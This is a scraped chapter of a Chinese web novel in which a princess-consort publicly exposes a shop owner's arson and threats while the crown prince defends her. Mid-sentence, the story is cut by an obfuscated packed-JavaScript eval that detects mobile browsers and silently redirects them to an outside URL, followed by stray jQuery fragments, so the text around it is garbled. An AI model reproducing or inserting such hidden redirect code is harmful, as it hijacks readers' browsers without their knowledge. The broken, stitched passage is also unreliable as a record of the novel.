106. 逼供

作品:《病娇王爷靠我躺平了

    对于琅璋的质问,琅月对答如流。


    反而是看着他丝毫不惧的眼神与说辞,琅璋皱起了眉头。


    “太子殿下,现下您最大,一切还得听您的。”


    琅月继续追问,反而是琅璋被气笑了,他最大?得听他的?


    眼前的几个人何时何地把他当成过真正的太子?如今高帽子一戴,说听他的?


    “听本宫的?”


    琅璋冷笑,自称本宫都用上了,也不愿在他们面前上演什么兄弟情深的戏码,“若你们真是听本宫的,那便不要在这儿闹得大家笑话。”


    “笑话?”


    听言,林画反问周遭的百姓们,“你们觉得好笑吗?”


    突然被点到名的百姓们:“……”纷纷摇头,别说笑了,就算是裂一下嘴……也不敢啊!


    “太子殿下您看,他们不觉得好笑。相反,我觉得漆韵坊工坊莫名被烧,若是不给个交代,或许他们才是真的会觉得皇家颜面是个笑话。”


    说罢,又看向围在一起的百姓们问道,“你们说是吗?”


    再次突然被点到名的百姓们:“……”是是是,您说的是,我们就是要一个交代。


    如此一来,琅璋骑虎难下,想要就这样把人带走是绝无可能的,只能祈祷着林画手中没有证据指向她了。


    “本宫作为太子,理当体恤百姓造福万民。你作为王妃,执意与一个百姓计较,那便说说看,她到底哪里惹你不快,让你又烧了人家店铺又要把人给烧了。”


    说着,还扭头看了看已经快要烧成灰烬的心悦坊,不禁粗了蹙眉。


    林画上前一步并不与琅璋对话,则是看向一侧心虚的老板笑笑:“这位老板怎么称呼?”


    “我……我姓李。”


    “李老板?我之前认识过一个姑娘,你与她挺像,不过她姓刘。”


    话落,这位李老板眼神微不可查地躲了几下,琅璋下颌也紧绷了几分。一侧的百姓听不出其中意味,不过琅月等人倒是勾唇笑得颇有深意。


    原来是她?


    “林画,有证据便说证据,不要扯那些有的没的。”


    “太子殿下如此心急,难不成我说错了什么?”


    说着她伸手掰起李老板的下巴强迫她与自己对视,“就暂且叫你一声李老板,请问李老板为何想到我皇城做生意?”


    “普天之下的生意人谁不想到皇城做生意,这有什么奇怪的吗?”


    “所以……那么多人都想到皇城做生意,而他们为什么不来呢?”


    这话是对着其他百姓们问的,果不其然经历过社会毒打的百姓们张口就回答:“从店铺到装潢,最后还有工人的聘请哪一步不需要花银子,兜里没点儿数谁敢来啊!”


    “这漆韵坊老板唐嘉从江城开始便是戏班子的名角儿台柱子,收入自然不菲。大家知根知底的无人置喙,而李老板,你呢?听说是吴城来的,那你之前是干什么的,一个又漂亮又殷实的女人能在皇城引起如此大的轰动,在吴城定然是无人不知无人不晓吧。”


    林画一语道出关键,“其实我一向是很欣赏自立自强的女性,在我眼里男人能挣钱女人也能,甚至女人会做得比男人更好!李老板,我是真挺佩服你的,如果你真的是心悦坊幕后老板的话!”


    “安王妃这话什么意思,是说李老板不是心悦坊的幕后老板?”


    “听着是这样,不过安王妃说得很对啊,这李老板来路不明,的确可疑。”


    ……


    百姓们议论纷纷,李老板脸色不好看,琅璋也好不到哪里去,只得盯着林画让她不要跑题:“即便你对李老板身份存疑,那又能说明什么?这也不是你今天要把心悦坊烧了的原因。”


    “三哥急什么?”林画翻了翻白眼,让辛奇将人带上来。


    不消片刻,辛奇带着一个熟面孔出现在人群中,在这儿开了多年酒庄的陈老板。


    “陈老板?”


    “他怎么会在这儿?”


    “你看他穿的衣服好像是美术学院的衣服。”


    “别说,当初酒庄开得好好的突然歇业,然后就变成了心悦坊,这其中大有问题。”


    众人你一言我一语将事情拼凑了个大概,陈老板略带着愤怒说道:“知晓大家疑惑酒庄为何突然关闭,这并非我情愿,不过是有人把刀架在我脖子让我做选择罢了。”


    “天哪!”


    “竟有这种事!”


    “陈老板,到底是谁这么做的?”


    “是谁还不明显吗?酒庄关了,心悦坊就开业了,还能是谁?”


    一时间,大家看向李老板的脸色充满了质疑与厌恶。


    “我虽不认识那个男人,可绝对是心悦坊的人。不然为何我的酒庄甫一关门,这心悦坊就招牌高高挂了?”


    陈老板说得义愤填膺,“不仅如此,他们架着我关了酒庄后,接下来的几日便一路追杀我!若不是碰到外出办事的辛侍卫,我恐怕便会命丧黄泉了!”


    “抢了人店铺还要斩草除根!这李老板做的是什么生意?杀人的生意嘛?”


    “果然越美的女人越危险!”


    “这心悦坊是踩着别人的鲜血在营业啊!真残忍。”


    “太子殿下护着的就是这样的人?还说人家安王妃丢脸,也不知道到底是谁在丢脸哟。”


    百姓们字字珠玑,落在李老板与琅璋身上,二人纷纷变了脸色,场面变得有些混乱。最后还是琅璋面无表情地扫视众人,定格在陈老板身上:“这位老板说什么便是什么,那天下便没有王法可言,你说有人拿着刀架在你脖子上让你关了酒庄,证据呢?那人是谁你还能找出来吗?”


    “太子殿下难道是笃定陈老板没办法找到当日威胁他那人,所以觉得此事无解了对吗?”


    琅月上前一步与之对视,其实说到底,不管是林画李老板,还是漆韵坊心悦坊,最终都是他俩的对战罢了。


    琅璋不语,可表明了态度,他要证据。


    “一开始我们不就说了,证据我们有。”


    琅月勾唇,吩咐辛怡将一个五花


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081978|157065||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大绑的壮汉扔到人群中,“陈老板,李老板你们认识这人吗?”


    壮汉的脸暴露在百姓面前,别说他俩,大多数都认识,这不是在心悦坊里帮工打杂的小厮吗?


    “就是他!就是他!那日凶神恶煞地跑来逼我关门的人!”


    陈老板立刻指认,“当时我为了反抗,还把我家烛台扔在他身上,他用手臂挡了一下!”


    听言辛怡徒手将壮汉袖口一撕,手臂上被烛台烫伤的疤痕浮现在大家眼前。


    “太子殿下,这个证据如何?”


    琅月看向琅璋,带着几分笑意,却不达眼底,“如果不够,我这儿还有,辛奇,你来说。”


    得到命令,辛奇向大家说道:“我家王妃喜欢漆韵坊的物件儿,王爷为了讨王妃开心,与唐老板一来二往也就成了朋友。王爷时常让属下多多照拂漆韵坊,为了保证漆韵坊的正常运营,工坊那边我们也派了人守着。昨夜大火来势汹汹,大多数人都去救火。若不是此人逃命却误闯了美术学院,被那里侍卫发现此人鬼鬼祟祟,这才抓住了他。”


    烧了工坊后误闯美术学院?


    林画听得嘴角一抽,什么级别的蠢货才会自投罗网?


    许是害怕有人不信,辛奇继续说道:“贼人误闯美术学院后被逮住,学院里的所有学童以及女工皆为见证,并且在她们的询问下,此人已经招了。”


    “招了?”


    被学童和女工询问,便招了?


    辛奇抿唇,回想起昨日也有些不可思议。据美术学院的侍卫说起,这女工见了贼人你一拳我一脚,扯头发撕衣服,毫无章法与规矩地往人身上招呼,据说不知道是谁踢到了他某个地方,身子一痛什么都招了。


    “的确是都招了。”


    辛奇再次确认,“此人之前做些骗人钱财的不入流行当,前些日子被李老板看中帮着她做事。陈老板酒庄关门是他做的,还有此次纵火也是他做的。在这期间,出入心悦坊帮忙打打杂。”


    所有事情明了,琅月看向琅璋:“太子殿下,证据我们拿出来了,如你所愿吗?”


    琅璋沉默了,就连纵火的人都被抓到了,他不知晓琅月手中还有多少证据,如果继续问下势必会牵连到自己。


    良久,许是想起了什么疑惑的地方,他才将话题转到林画那儿:“弟妹如此忧心漆韵坊的事儿,这唐老板都未曾出面,你倒是先行烧了心悦坊,这举动不得不让本宫怀疑,这漆韵坊与你有关啊。”


    “有关又如何?”


    林画蹙眉,“这皇城上下谁人不知我林画喜欢漆韵坊的东西?越是喜欢的东西越是不容伤害,李老板伤害了我喜欢的看中的东西,难道太子殿下还想要护着吗?”


    她越说神色越激动,想起那一张张熬夜设计出来的稿子,想起工坊里那些朴实劳动的女工,想起来不及灭的火,整个身子都开始颤抖。


    “李老板?你真的叫李老板吗?”


    她步步逼近,李老板连连后退,看着她那双因气急涨红充满血的眼睛,心虚不已。